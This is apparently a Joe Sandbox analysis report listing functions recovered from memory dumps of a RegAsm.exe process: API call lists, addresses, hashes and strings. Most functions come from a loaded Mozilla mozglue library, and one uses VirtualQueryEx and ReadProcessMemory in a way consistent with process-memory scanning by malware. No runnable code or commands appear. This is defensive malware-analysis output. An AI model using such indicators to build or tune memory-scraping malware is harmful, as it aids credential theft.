Associated: 00000003.00000002.1426905335.000000006CBBD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1426946341.000000006CBCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1426973880.000000006CBD2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6cb40000_RegAsm.jbxd

Similarity

API ID: memcpy$moz_xmalloc$_invalid_parameter_noinfo_noreturnfreemalloc
String ID:
API String ID: 1394714614-0
Opcode ID: 74089ddebdbcdb607bac6c55d7b5566530ecfcfe4ed68ca12b2ada92a7eeaf9b
Instruction ID: 329e92ca684f16ed435ec823e1a7f7d1999271903a4ffa6bbb6e1e046a5b0b1e
Opcode Fuzzy Hash: 74089ddebdbcdb607bac6c55d7b5566530ecfcfe4ed68ca12b2ada92a7eeaf9b
Instruction Fuzzy Hash: 074125B2D045558FCB00DF68DC80AAFB7B9FF54320F244629E925E7784E731A9008BE1

Function 6CB4EF30 Relevance: 12.1, APIs: 8, Instructions: 128COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(6CBC5104), ref: 6CB4EFAC
memcpy.VCRUNTIME140(00000000,?,00000000), ref: 6CB4EFD7
memcpy.VCRUNTIME140(00000000,?,?), ref: 6CB4EFEC
free.MOZGLUE(?), ref: 6CB4F00C
memcpy.VCRUNTIME140(00000000,?,00000000), ref: 6CB4F02E
memcpy.VCRUNTIME140(00000000,?), ref: 6CB4F041
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6CB4F065
moz_xmalloc.MOZGLUE ref: 6CB4F072

Memory Dump Source

Source File: 00000003.00000002.1426482142.000000006CB41000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB40000, based on PE: true

Associated: 00000003.00000002.1426447161.000000006CB40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1426905335.000000006CBBD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1426946341.000000006CBCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1426973880.000000006CBD2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6cb40000_RegAsm.jbxd

Similarity

API ID: memcpy$moz_xmalloc$_invalid_parameter_noinfo_noreturnfree
String ID:
API String ID: 1148890222-0
Opcode ID: f3087a97e1d6bc8c44c4c2a4f09db22407db9472565d345938c1df01a8edbdd6
Instruction ID: 9284f20fae2c0a237872edf070868e314bada627b9048171be808a0023a19fea
Opcode Fuzzy Hash: f3087a97e1d6bc8c44c4c2a4f09db22407db9472565d345938c1df01a8edbdd6
Instruction Fuzzy Hash: 1E4104B1A042459FDF08CF68D8909BF7769FF88324B244628E815DB798EB31E915C7E1

Function 6CBBB540 Relevance: 12.1, APIs: 8, Instructions: 93COMMON

Download Yara Rule

APIs

?classic@locale@std@@SAABV12@XZ.MSVCP140 ref: 6CBBB5B9
??0_Lockit@std@@QAE@H@Z.MSVCP140(00000000), ref: 6CBBB5C5
??Bid@locale@std@@QAEIXZ.MSVCP140 ref: 6CBBB5DA
??1_Lockit@std@@QAE@XZ.MSVCP140(00000000), ref: 6CBBB5F4
__Init_thread_footer.LIBCMT ref: 6CBBB605
?_Getcat@?$ctype@D@std@@SAIPAPBVfacet@locale@2@PBV42@@Z.MSVCP140(00000000,?,00000000), ref: 6CBBB61F
std::_Facet_Register.LIBCPMT ref: 6CBBB631
abort.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6CBBB655

Memory Dump Source

Source File: 00000003.00000002.1426482142.000000006CB41000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB40000, based on PE: true

Associated: 00000003.00000002.1426447161.000000006CB40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1426905335.000000006CBBD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1426946341.000000006CBCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1426973880.000000006CBD2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6cb40000_RegAsm.jbxd

Similarity

API ID: Lockit@std@@$??0_??1_?classic@locale@std@@Bid@locale@std@@D@std@@Facet_Getcat@?$ctype@Init_thread_footerRegisterV12@V42@@Vfacet@locale@2@abortstd::_
String ID:
API String ID: 1276798925-0
Opcode ID: d7fa72b6f689952f264519ed482ed213ae076ea8037b2d3173bc4b0adc743819
Instruction ID: 6a0abc890f5b04a7b9cad65a44ce9eecdd6f6f4b1204e6d2be4660620eb4285c
Opcode Fuzzy Hash: d7fa72b6f689952f264519ed482ed213ae076ea8037b2d3173bc4b0adc743819
Instruction Fuzzy Hash: 7A31B571B00154CBCF00DF69C8949AEB7B5FF8E325B140559D912A7740DB30AE06CF92

Function 6CB59830 Relevance: 10.7, APIs: 7, Instructions: 196COMMON

Download Yara Rule

APIs

free.MOZGLUE(?,?,?,6CBA7ABE), ref: 6CB5985B
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,6CBA7ABE), ref: 6CB598A8
moz_xmalloc.MOZGLUE(00000020), ref: 6CB59909
memcpy.VCRUNTIME140(00000023,?,?), ref: 6CB59918
free.MOZGLUE(?), ref: 6CB59975

Memory Dump Source

Source File: 00000003.00000002.1426482142.000000006CB41000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB40000, based on PE: true

Associated: 00000003.00000002.1426447161.000000006CB40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1426905335.000000006CBBD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1426946341.000000006CBCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1426973880.000000006CBD2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6cb40000_RegAsm.jbxd

Similarity

API ID: free$_invalid_parameter_noinfo_noreturnmemcpymoz_xmalloc
String ID:
API String ID: 1281542009-0
Opcode ID: b8cc7bb703961ae6aacff3faae84553f02039bf20d53ab14a77e788c42bfea3b
Instruction ID: dd3f434417b172488dd845013244ce4c3d512ece732a0f009d88c1602427d8e9
Opcode Fuzzy Hash: b8cc7bb703961ae6aacff3faae84553f02039bf20d53ab14a77e788c42bfea3b
Instruction Fuzzy Hash: A9719BB4A047458FC725CF28C480956B7F1FF4A3247A44AADD85A8BB90D731F856CF91

Function 004169A0 Relevance: 10.7, APIs: 4, Strings: 2, Instructions: 156stringCOMMON

Download Yara Rule

APIs

strlen.MSVCRT ref: 004169BF
??_U@YAPAXI@Z.MSVCRT ref: 004169ED

Part of subcall function 00416670: strlen.MSVCRT ref: 00416681
Part of subcall function 00416670: strlen.MSVCRT ref: 004166A5

VirtualQueryEx.KERNEL32(00416DAD,00000000,?,0000001C), ref: 00416A32
??_V@YAXPAX@Z.MSVCRT ref: 00416B53

Part of subcall function 00416880: ReadProcessMemory.KERNEL32(00000000,00000000,?,?,00000000,00064000,00064000,00000000,00000004), ref: 00416898

Strings

:lA, xrefs: 00416A18, 00416A1B
@, xrefs: 00416A46

Memory Dump Source

Source File: 00000003.00000002.1382432761.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.1382432761.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.000000000046A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.0000000000470000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.0000000000493000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.000000000049F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.00000000004C4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.00000000004D1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.00000000004F1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.00000000004FD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.0000000000500000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.0000000000587000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.00000000005A7000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.00000000005AD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.000000000063E000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Similarity

API ID: strlen$MemoryProcessQueryReadVirtual
String ID: :lA$@
API String ID: 2950663791-2855229504
Opcode ID: 4afa45cea5b3bcaab92a32f2428c4a97edc849bca8639b017ecb6fd58acf4104
Instruction ID: 51c9d4b078fe92f83ab81220ebbaf7cdf2a8f9ee762561721c09ea6573e6fdbd
Opcode Fuzzy Hash: 4afa45cea5b3bcaab92a32f2428c4a97edc849bca8639b017ecb6fd58acf4104
Instruction Fuzzy Hash: 845108B5E04119ABDB04CF94D981AEFB7B5FF88304F108519F915A7240D738EA51CBA9

Function 6CB5B790 Relevance: 10.6, APIs: 7, Instructions: 147COMMON

Download Yara Rule

APIs

?good@ios_base@std@@QBE_NXZ.MSVCP140(?,6CB9CC83,?,?,?,?,?,?,?,?,?,6CB9BCAE,?,?,6CB8DC2C), ref: 6CB5B7E6
?good@ios_base@std@@QBE_NXZ.MSVCP140(?,6CB9CC83,?,?,?,?,?,?,?,?,?,6CB9BCAE,?,?,6CB8DC2C), ref: 6CB5B80C
?clear@?$basic_ios@DU?$char_traits@D@std@@@std@@QAEXH_N@Z.MSVCP140(?,00000000,?,6CB9CC83,?,?,?,?,?,?,?,?,?,6CB9BCAE), ref: 6CB5B88E
?_Osfx@?$basic_ostream@DU?$char_traits@D@std@@@std@@QAEXXZ.MSVCP140(?,6CB9CC83,?,?,?,?,?,?,?,?,?,6CB9BCAE,?,?,6CB8DC2C), ref: 6CB5B896

Memory Dump Source

Source File: 00000003.00000002.1426482142.000000006CB41000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB40000, based on PE: true

Associated: 00000003.00000002.1426447161.000000006CB40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1426905335.000000006CBBD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1426946341.000000006CBCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1426973880.000000006CBD2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6cb40000_RegAsm.jbxd

Similarity

API ID: ?good@ios_base@std@@D@std@@@std@@U?$char_traits@$?clear@?$basic_ios@Osfx@?$basic_ostream@
String ID:
API String ID: 922945588-0
Opcode ID: 5ef2ad4adc97dc0d406c9cb73cdf33b5f8851c73edfe17fe8c9f7ca7037f162b
Instruction ID: 9fe7a41b9fd29d1b3be8ce12bb75b41bc9a52304d93787254b703ad3e652140a
Opcode Fuzzy Hash: 5ef2ad4adc97dc0d406c9cb73cdf33b5f8851c73edfe17fe8c9f7ca7037f162b
Instruction Fuzzy Hash: AE519A357006448FCB25CF18C494A2ABBF5FF8C319BA9855DE98A87351C731EC12CB81

Function 6CB84AD0 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 139stringCOMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(00000000,?,?,80000000,?,6CB84AB7,?,6CB443CF,?,6CB442D2), ref: 6CB84B48
free.MOZGLUE(?,?,?,80000000,?,6CB84AB7,?,6CB443CF,?,6CB442D2), ref: 6CB84B7F
memcpy.VCRUNTIME140(00000000,?,?,80000000,?,6CB84AB7,?,6CB443CF,?,6CB442D2), ref: 6CB84B94
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,6CB84AB7,?,6CB443CF,?,6CB442D2), ref: 6CB84BBC
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(?,pid:,00000004,?,?,?,6CB84AB7,?,6CB443CF,?,6CB442D2), ref: 6CB84BEE

Strings

pid:, xrefs: 6CB84BE8

Memory Dump Source

Source File: 00000003.00000002.1426482142.000000006CB41000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB40000, based on PE: true

Associated: 00000003.00000002.1426447161.000000006CB40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1426905335.000000006CBBD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1426946341.000000006CBCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1426973880.000000006CBD2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6cb40000_RegAsm.jbxd

Similarity

API ID: memcpy$_invalid_parameter_noinfo_noreturnfreestrncmp
String ID: pid:
API String ID: 1916652239-3403741246
Opcode ID: bf2ff29da37eb01a465fbe2382158f2f0b16822ba699a50725fdb7a1af83d67d
Instruction ID: 7aaf3b76a0c738d67f3075d39a00b5e37b3fbb1a15f0a3989166e9ba65f4a429
Opcode Fuzzy Hash: bf2ff29da37eb01a465fbe2382158f2f0b16822ba699a50725fdb7a1af83d67d
Instruction Fuzzy Hash: 9841E771B052959BCB14CFB8DC9059FBBFDEF89224B144638E865DB781DB309908CBA1

Function 6CB91D00 Relevance: 10.6, APIs: 7, Instructions: 115threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6CB91D0F
AcquireSRWLockExclusive.KERNEL32(?,?,6CB91BE3,?,?,6CB91D96,00000000), ref: 6CB91D18
ReleaseSRWLockExclusive.KERNEL32(?,?,6CB91BE3,?,?,6CB91D96,00000000), ref: 6CB91D4C
GetCurrentThreadId.KERNEL32 ref: 6CB91DB7
AcquireSRWLockExclusive.KERNEL32(?), ref: 6CB91DC0
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6CB91DDA

Part of subcall function 6CB91EF0: GetCurrentThreadId.KERNEL32 ref: 6CB91F03
Part of subcall function 6CB91EF0: AcquireSRWLockExclusive.KERNEL32(?,?,?,?,?,6CB91DF2,00000000,00000000), ref: 6CB91F0C
Part of subcall function 6CB91EF0: ReleaseSRWLockExclusive.KERNEL32 ref: 6CB91F20

moz_xmalloc.MOZGLUE(00000008,00000000,00000000), ref: 6CB91DF4

Part of subcall function 6CB5CA10: malloc.MOZGLUE(?), ref: 6CB5CA26

Memory Dump Source

Source File: 00000003.00000002.1426482142.000000006CB41000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB40000, based on PE: true

Associated: 00000003.00000002.1426447161.000000006CB40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1426905335.000000006CBBD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1426946341.000000006CBCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1426973880.000000006CBD2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6cb40000_RegAsm.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThread$mallocmoz_xmalloc
String ID:
API String ID: 1880959753-0
Opcode ID: f36dfce16533734e5a8e54245802dea67c2af2bbd148d8b55cfa657a9e8d6fd7
Instruction ID: cbaa6d435f0e5ea5d5e4ca96dc6a048866c50be5e9a959771a6e39d3ca26f574
Opcode Fuzzy Hash: f36dfce16533734e5a8e54245802dea67c2af2bbd148d8b55cfa657a9e8d6fd7
Instruction Fuzzy Hash: 734178B52007459FCB10DF28C488A5ABBF9FF89714F14442EE95A87B41CB31F954CB91

Function 6CBAAAB0 Relevance: 10.6, APIs: 7, Instructions: 86memoryCOMMON

Download Yara Rule

APIs

AcquireSRWLockExclusive.KERNEL32(6CBCE220,?), ref: 6CBABC2D
ReleaseSRWLockExclusive.KERNEL32(6CBCE220), ref: 6CBABC42
RtlFreeHeap.NTDLL(?,00000000,6CBBE300), ref: 6CBABC82
RtlFreeUnicodeString.NTDLL(6CBCE210), ref: 6CBABC91
RtlFreeUnicodeString.NTDLL(6CBCE208), ref: 6CBABCA3
RtlFreeHeap.NTDLL(?,00000000,6CBCE21C), ref: 6CBABCD2
free.MOZGLUE(?), ref: 6CBABCD8

Memory Dump Source

Source File: 00000003.00000002.1426482142.000000006CB41000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB40000, based on PE: true

Associated: 00000003.00000002.1426447161.000000006CB40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1426905335.000000006CBBD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1426946341.000000006CBCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1426973880.000000006CBD2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6cb40000_RegAsm.jbxd

Similarity

API ID: Free$ExclusiveHeapLockStringUnicode$AcquireReleasefree
String ID:
API String ID: 3047341122-0
Opcode ID: 7df014988ef7d58e770d5c08e173d61879be7d5ea12c941eb9a3d6eb0075ea2b
Instruction ID: 660eb1692fbf2b0b9e0e1b85131692d34a68e3ad4b0de522f07e10034863b3b4
Opcode Fuzzy Hash: 7df014988ef7d58e770d5c08e173d61879be7d5ea12c941eb9a3d6eb0075ea2b
Instruction Fuzzy Hash: 0121E572504398EFE7209F85C880F6AB7A9FF41718F14842DE46D6BA10DB31E846CBD1

Function 6CB538A0 Relevance: 10.6, APIs: 7, Instructions: 80memoryCOMMON

Download Yara Rule

APIs

AcquireSRWLockExclusive.KERNEL32(6CBCE220,?,?,?,?,6CB53899,?), ref: 6CB538B2
ReleaseSRWLockExclusive.KERNEL32(6CBCE220,?,?,?,6CB53899,?), ref: 6CB538C3
free.MOZGLUE(00000000,?,?,?,6CB53899,?), ref: 6CB538F1
RtlFreeHeap.NTDLL(?,00000000,?), ref: 6CB53920
RtlFreeUnicodeString.NTDLL(-0000000C,?,?,?,6CB53899,?), ref: 6CB5392F
RtlFreeUnicodeString.NTDLL(-00000014,?,?,?,6CB53899,?), ref: 6CB53943
RtlFreeHeap.NTDLL(?,00000000,0000002C), ref: 6CB5396E

Memory Dump Source

Source File: 00000003.00000002.1426482142.000000006CB41000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB40000, based on PE: true

Associated: 00000003.00000002.1426447161.000000006CB40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1426905335.000000006CBBD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1426946341.000000006CBCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1426973880.000000006CBD2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6cb40000_RegAsm.jbxd

Similarity

API ID: Free$ExclusiveHeapLockStringUnicode$AcquireReleasefree
String ID:
API String ID: 3047341122-0
Opcode ID: 49784d700c603ad74c2c46ae4ee032dbe91cda54a5db27d4b9a90f411b5d499f
Instruction ID: 01036b2605b78b5bb0b963ece41a1534396e59c8d5b53036438a06536c3ef02f
Opcode Fuzzy Hash: 49784d700c603ad74c2c46ae4ee032dbe91cda54a5db27d4b9a90f411b5d499f
Instruction Fuzzy Hash: 862102B2600690DFD721DF15C880B9AB7A9EF45328F658429E96EA7B10CB31F845CB91

Function 6CB884E0 Relevance: 10.6, APIs: 7, Instructions: 79COMMON

Download Yara Rule

APIs

free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6CB884F3
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6CB8850A
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6CB8851E
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6CB8855B
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6CB8856F
??1UniqueJSONStrings@baseprofiler@mozilla@@QAE@XZ.MOZGLUE(?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6CB885AC

Part of subcall function 6CB87670: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,6CB885B1,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6CB8767F
Part of subcall function 6CB87670: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,6CB885B1,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6CB87693
Part of subcall function 6CB87670: free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,?,?,6CB885B1,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6CB876A7

free.MOZGLUE(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6CB885B2

Part of subcall function 6CB65E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6CB65EDB
Part of subcall function 6CB65E90: memset.VCRUNTIME140(6CBA7765,000000E5,55CCCCCC), ref: 6CB65F27
Part of subcall function 6CB65E90: LeaveCriticalSection.KERNEL32(?), ref: 6CB65FB2

Memory Dump Source

Source File: 00000003.00000002.1426482142.000000006CB41000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB40000, based on PE: true

Associated: 00000003.00000002.1426447161.000000006CB40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1426905335.000000006CBBD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1426946341.000000006CBCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1426973880.000000006CBD2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6cb40000_RegAsm.jbxd

Similarity

API ID: free$CriticalSection$EnterLeaveStrings@baseprofiler@mozilla@@Uniquememset
String ID:
API String ID: 2666944752-0
Opcode ID: 769e94afbadd4c2d02ed25f39eea8228e2219cf78dd4571f9f20a8c0628180a6
Instruction ID: eb698b9e2772efddadc88a9fefc12cef9b1985b8e9321bbf7ba357a00e0542c2
Opcode Fuzzy Hash: 769e94afbadd4c2d02ed25f39eea8228e2219cf78dd4571f9f20a8c0628180a6
Instruction Fuzzy Hash: D2216B743016419FDB14DB28D888A9AB7B9FF8530CF24482DE55B87B81DB32F949CB52

Function 6CB51640 Relevance: 10.6, APIs: 7, Instructions: 77COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,00000000,00000114), ref: 6CB51699
VerSetConditionMask.NTDLL ref: 6CB516CB
VerSetConditionMask.NTDLL ref: 6CB516D7
VerSetConditionMask.NTDLL ref: 6CB516DE
VerSetConditionMask.NTDLL ref: 6CB516E5
VerSetConditionMask.NTDLL ref: 6CB516EC
VerifyVersionInfoW.KERNEL32(?,00000037,00000000), ref: 6CB516F9

Memory Dump Source

Source File: 00000003.00000002.1426482142.000000006CB41000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB40000, based on PE: true

Associated: 00000003.00000002.1426447161.000000006CB40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1426905335.000000006CBBD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1426946341.000000006CBCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1426973880.000000006CBD2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6cb40000_RegAsm.jbxd

Similarity

API ID: ConditionMask$InfoVerifyVersionmemset
String ID:
API String ID: 375572348-0
Opcode ID: 8329f72cbe1623c2799cd39d45dae993fc63c261e3dc6d0735b4d75410cf7d27
Instruction ID: f2f38f903a26b0c82d9266f529ef85d277bd498100a11178222aadd2177c48fd
Opcode Fuzzy Hash: 8329f72cbe1623c2799cd39d45dae993fc63c261e3dc6d0735b4d75410cf7d27
Instruction Fuzzy Hash: 3C21A5B07402886FEB115F649C86FBF737CDF9A704F444528F6459B5C0C6749E6487A1

Function 6CB9D1D0 Relevance: 10.6, APIs: 7, Instructions: 74threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6CB9D1EC
AcquireSRWLockExclusive.KERNEL32(?), ref: 6CB9D1F5

Part of subcall function 6CB9AD40: moz_malloc_usable_size.MOZGLUE(?), ref: 6CB9AE20

ReleaseSRWLockExclusive.KERNEL32(?), ref: 6CB9D211
GetCurrentThreadId.KERNEL32 ref: 6CB9D217
AcquireSRWLockExclusive.KERNEL32(?), ref: 6CB9D226
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6CB9D279
free.MOZGLUE(?), ref: 6CB9D2B2

Memory Dump Source

Source File: 00000003.00000002.1426482142.000000006CB41000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB40000, based on PE: true

Associated: 00000003.00000002.1426447161.000000006CB40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1426905335.000000006CBBD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1426946341.000000006CBCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1426973880.000000006CBD2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6cb40000_RegAsm.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThread$freemoz_malloc_usable_size
String ID:
API String ID: 3049780610-0
Opcode ID: e9bf4de5fcdd77df362362f1c203c678c80f454e1f5435eec8873c89cbad50e9
Instruction ID: f5cf3367eb88bcb346aba0a25842d2c704e4a4e13f47bd4048d30a09c601e4e3
Opcode Fuzzy Hash: e9bf4de5fcdd77df362362f1c203c678c80f454e1f5435eec8873c89cbad50e9
Instruction Fuzzy Hash: DF219F71604345DFCB04DF65C488A9EB7B5FF8E324F10462EE51A87740DB30A949CB96

Function 6CB8F5B0 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 70threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6CB7CBE8: GetCurrentProcess.KERNEL32(?,6CB431A7), ref: 6CB7CBF1
Part of subcall function 6CB7CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6CB431A7), ref: 6CB7CBFA

Part of subcall function 6CB89420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6CB54A68), ref: 6CB8945E
Part of subcall function 6CB89420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6CB89470
Part of subcall function 6CB89420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6CB89482
Part of subcall function 6CB89420: __Init_thread_footer.LIBCMT ref: 6CB8949F

GetCurrentThreadId.KERNEL32 ref: 6CB8F619
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,00000000,?,6CB8F598), ref: 6CB8F621

Part of subcall function 6CB894D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6CB894EE
Part of subcall function 6CB894D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6CB89508

GetCurrentThreadId.KERNEL32 ref: 6CB8F637
AcquireSRWLockExclusive.KERNEL32(6CBCF4B8,?,?,00000000,?,6CB8F598), ref: 6CB8F645
ReleaseSRWLockExclusive.KERNEL32(6CBCF4B8,?,?,00000000,?,6CB8F598), ref: 6CB8F663

Strings

[D %d/%d] profiler_remove_sampled_counter(%s), xrefs: 6CB8F62A

Memory Dump Source

Source File: 00000003.00000002.1426482142.000000006CB41000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB40000, based on PE: true

Associated: 00000003.00000002.1426447161.000000006CB40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1426905335.000000006CBBD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1426946341.000000006CBCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1426973880.000000006CBD2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6cb40000_RegAsm.jbxd

Similarity

API ID: Currentgetenv$ExclusiveLockProcessThread$AcquireInit_thread_footerReleaseTerminate__acrt_iob_func__stdio_common_vfprintf_getpid
String ID: [D %d/%d] profiler_remove_sampled_counter(%s)
API String ID: 1579816589-753366533
Opcode ID: 222bcddc12bbcfb4fa5eb6a5607a44c887cfbf381f88f7deec9c7981b7840ead
Instruction ID: 867c1c9116d7ec751525968bc056050dd44a5ef348a38b7129b668a4d3231495
Opcode Fuzzy Hash: 222bcddc12bbcfb4fa5eb6a5607a44c887cfbf381f88f7deec9c7981b7840ead
